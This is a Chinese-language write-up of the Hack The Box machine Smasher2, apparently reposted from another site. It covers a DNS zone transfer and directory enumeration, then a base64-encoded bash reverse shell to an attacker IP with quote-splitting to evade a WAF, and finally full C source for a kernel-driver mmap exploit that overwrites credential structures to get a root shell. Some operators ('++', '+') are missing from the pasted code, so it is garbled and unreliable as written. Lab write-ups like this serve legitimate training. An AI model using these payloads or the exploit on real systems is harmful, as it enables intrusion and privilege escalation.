HTB-靶机-Smasher2

本篇文章仅用于技术交流学习和研究的目的，严禁使用文章中的技术用于非法目的和破坏，否则造成一切后果与发表本文章的作者无关

靶机是作者购买VIP使用退役靶机操作，显示IP地址为10.10.10.135

本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

执行命令 autorecon 10.10.10.135 -o ./Smasher2-autorecon

有dns服务开启，试试区域传送

dig -t axfr smasher2.htb @10.10.10.135

发现好些域名，绑定hosts访问

10.10.10.135 wonderfulsessionmanager.smasher2.htb smasher2.htb root.smasher2.htb

爆破下目录

发现目录backup有敏感文件

先把上面两个文件下载下来放着，访问绑定的hosts域名发现一个登陆窗口

这里卡了很久，本靶机难度还是很高的，后来通过网上的writeup分析上面下载下来的文件，得出如下，具体分析可参考：https://0xdf.gitlab.io/2019/12/14/htb-smasher2.html

得到api接口的请求key值，可以通过此key执行命令，在测试的过程中发现有WAF对常规的命令进行拦截，直接使用绕过WAF的执行命令代码反弹shell

WAF绕过技术https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0echo '/bin/bash -i >& /dev/tcp/10.10.14.3/8833 0>&1' | base64L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjMvODgzMyAwPiYxCg==原始命令echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjMvODgzMyAwPiYxCg== | base64 -d | bash绕过WAF命令{"schedule":"ec''ho 'L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjMvODgzMyAwPiYxCg=='|'b'a''s''e'6'4 -'d'|b'a''s'h"}

为了稳定方便的连接目标靶机，本地生成公钥和私钥，然后通过私钥连接到目标靶机

准备root提权，这里提权需要自己写exploit，具体分析和编写exploit参考：https://0xdf.gitlab.io/2019/12/14/htb-smasher2.html#priv-dzonerzy--root

#include <stdio.h>#include <fcntl.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <sys/types.h>#include <sys/mman.h>int main ( int argc, char * const * argv){    printf ( "[ ] PID: %d\n" , getpid());    int fd = open( "/dev/dhid" , O_RDWR);    if (fd < 0 )    {    printf ( "[-] Open failed!\n" );    return -1 ;    }    printf ( "[ ] Open OK fd: %d\n" , fd);    unsigned long size = 0xf0000000 ;    unsigned long mmapStart = 0x42424000 ;    unsigned int * addr = ( unsigned int *)mmap(( void *)mmapStart, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0 );    if (addr == MAP_FAILED)    {    perror( "Failed to mmap: " );    close(fd);    return -1 ;    }    printf ( "[ ] mmap OK addr: %lx\n" , addr);    unsigned int uid = getuid();    printf ( "[ ] UID: %d\n" , uid);    unsigned int credIt = 0 ;    unsigned int credNum = 0 ;    while ((( unsigned long )addr) < (mmapStart   size - 0x40 ))    {credIt = 0 ;    if ( addr[credIt  ] == uid && addr[credIt  ] == uid && addr[credIt  ] == uid && addr[credIt  ] == uid && addr[credIt  ] == uid && addr[credIt  ] == uid && addr[credIt  ] == uid && addr[credIt  ] == uid )    {    credNum  ;    printf ( "[ ] Found cred structure! ptr: %p, credNum: %d\n" , addr, credNum);    credIt = 0 ;    addr[credIt  ] = 0 ;    addr[credIt  ] = 0 ;    addr[credIt  ] = 0 ;    addr[credIt  ] = 0 ;    addr[credIt  ] = 0 ;    addr[credIt  ] = 0 ;    addr[credIt  ] = 0 ;    addr[credIt  ] = 0 ;    if (getuid() == 0 )    {    puts ( "[ ] GOT ROOT!" );    credIt  = 1 ; //Skip 4 bytes, to get capabilities addr    addr[credIt  ] = 0xffffffff ;    addr[credIt  ] = 0xffffffff ;    addr[credIt  ] = 0xffffffff ;    addr[credIt   ] = 0xffffffff ;    addr[credIt  ] = 0xffffffff ;    addr[credIt  ] = 0xffffffff ;    addr[credIt  ] = 0xffffffff ;    addr[credIt  ] = 0xffffffff ;    addr[credIt  ] = 0xffffffff ;    addr[credIt  ] = 0xffffffff;    execl( "/bin/sh" , "-" , ( char *) NULL );    puts ( "[-] Execl failed..." );    break ;    }    else    {    credIt = 0 ;    addr[credIt  ] = uid;    addr[credIt  ] = uid;    addr[credIt  ] = uid;    addr[credIt  ] = uid;    addr[credIt  ] = uid;    addr[credIt  ] = uid;    addr[credIt  ] = uid;    addr[credIt  ] = uid;    }    }    addr  ;    }    puts ( "[ ] Scanning loop END" );    fflush( stdout );    int stop = getchar();    return 0 ;}

通过本地kali编译完成之后再使用scp传到目标靶机执行exploit提权

来源：https://www.icode9.com/content-4-817151.html